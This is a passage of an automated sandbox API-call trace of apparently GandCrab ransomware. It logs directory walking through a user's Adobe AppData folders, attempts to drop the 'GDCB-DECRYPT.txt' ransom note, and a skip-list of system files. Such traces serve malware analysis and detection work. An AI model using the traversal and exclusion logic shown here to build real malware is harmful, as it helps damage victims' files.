lpFindFileData=0x285e610) returned 1 [0135.421] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.421] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.421] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.421] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.421] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt" [0135.421] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0135.421] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.421] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.421] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.421] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.421] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\\\GDCB-DECRYPT.txt") returned 94 [0135.422] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\assetcache\\nahqnpmn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.422] GetLastError () returned 0x50 [0135.422] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.422] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned 77 [0135.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*" [0135.422] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7640 [0135.422] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.422] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.422] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.422] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.422] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.422] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.422] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt" [0135.422] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.422] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0135.422] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0135.422] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0135.422] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\GDCB-DECRYPT.txt") returned 93 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.422] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.422] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.423] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.423] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.423] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.423] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.423] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.423] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.423] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt" [0135.423] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.423] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0135.423] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0135.423] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0135.423] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\GDCB-DECRYPT.txt") returned 73 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.423] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.423] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.423] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.423] lstrcmpW (lpString1="NativeCache", lpString2=".") returned 1 [0135.423] lstrcmpW (lpString1="NativeCache", lpString2="..") returned 1 [0135.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0135.423] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\" [0135.424] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.424] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.424] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned 69 [0135.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*" [0135.424] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7640 [0135.424] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.424] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.424] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.424] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.424] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.424] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.424] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt" [0135.424] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0135.424] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.424] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.424] lstrcmpW (lpString1="NativeCache.directory", lpString2=".") returned 1 [0135.424] lstrcmpW (lpString1="NativeCache.directory", lpString2="..") returned 1 [0135.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="NativeCache.directory" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" [0135.424] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned 90 [0135.424] lstrcmpW (lpString1=".directory", lpString2=".sql") returned -1 [0135.424] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.424] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.424] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.425] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\\\GDCB-DECRYPT.txt") returned 86 [0135.425] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\nativecache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.425] GetLastError () returned 0x50 [0135.425] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.425] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\") returned 69 [0135.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*" [0135.425] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7780 [0135.425] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.425] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.426] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.426] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.426] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.426] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.426] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt" [0135.426] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.426] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0135.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0135.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0135.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\GDCB-DECRYPT.txt") returned 85 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.426] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.426] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.426] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.426] lstrcmpW (lpString1="NativeCache.directory", lpString2=".") returned 1 [0135.426] lstrcmpW (lpString1="NativeCache.directory", lpString2="..") returned 1 [0135.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\", lpString2="NativeCache.directory" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" [0135.426] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.426] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned 90 [0135.427] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned 90 [0135.427] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.427] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.427] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.427] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.427] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.427] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.427] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.427] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt" [0135.427] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.427] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0135.427] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0135.427] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0135.427] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\GDCB-DECRYPT.txt") returned 60 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.427] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.427] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.428] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.428] lstrcmpW (lpString1="Headlights", lpString2=".") returned 1 [0135.428] lstrcmpW (lpString1="Headlights", lpString2="..") returned 1 [0135.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" [0135.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\" [0135.428] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.428] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned 55 [0135.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*" [0135.428] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.428] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.428] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.428] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.428] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.428] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.428] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.428] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt" [0135.428] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0135.428] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.428] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.428] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.428] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.429] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\\\GDCB-DECRYPT.txt") returned 72 [0135.429] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\headlights\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.429] GetLastError () returned 0x50 [0135.429] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.429] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned 55 [0135.429] lstrcatW (in: 